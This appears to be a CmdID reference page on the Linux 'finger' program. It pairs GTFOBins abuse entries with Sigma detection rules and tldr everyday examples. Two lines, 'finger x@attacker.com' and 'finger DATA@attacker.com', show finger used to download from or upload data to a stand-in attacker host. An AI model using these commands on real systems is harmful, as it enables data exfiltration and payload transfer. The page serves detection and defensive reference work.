CmdID / Programs / Linux and Unix
finger
User information lookup program. tldr-pages
GTFOBins download, upload 1 Sigma rule name it 2 documented commands
How finger is abused
download
upload
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for finger.
2 documented commands
download unprivileged, with sudo, as SUID
The command hangs waiting for the remote peer to close the socket.
finger x@attacker.comTrips 1 Sigma rule: lowLocal System Accounts Discovery Attempt - Linux by Alejandro Ortuno, oscd.community, CheraghiMilad
upload unprivileged, with sudo, as SUID
The command hangs waiting for the remote peer to close the socket.
finger DATA@attacker.comTrips 1 Sigma rule: lowLocal System Accounts Discovery Attempt - Linux by Alejandro Ortuno, oscd.community, CheraghiMilad
All 2 commands CmdID reads trip a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for finger. CmdID reads the line of each that runs finger.
What detects it
Everyday use
Display information about currently logged in users
fingerIdentifyTrips 1 Sigma rule: lowLocal System Accounts Discovery Attempt - Linux by Alejandro Ortuno, oscd.community, CheraghiMilad
Display information about a specific user
finger usernameIdentifyTrips 1 Sigma rule: lowLocal System Accounts Discovery Attempt - Linux by Alejandro Ortuno, oscd.community, CheraghiMilad
Display the user's login name, real name, terminal name, and other information
finger -sIdentifyTrips 1 Sigma rule: lowLocal System Accounts Discovery Attempt - Linux by Alejandro Ortuno, oscd.community, CheraghiMilad
Of the 3 examples CmdID reads, 3 match GTFOBins abuse or trip a Sigma process-creation rule.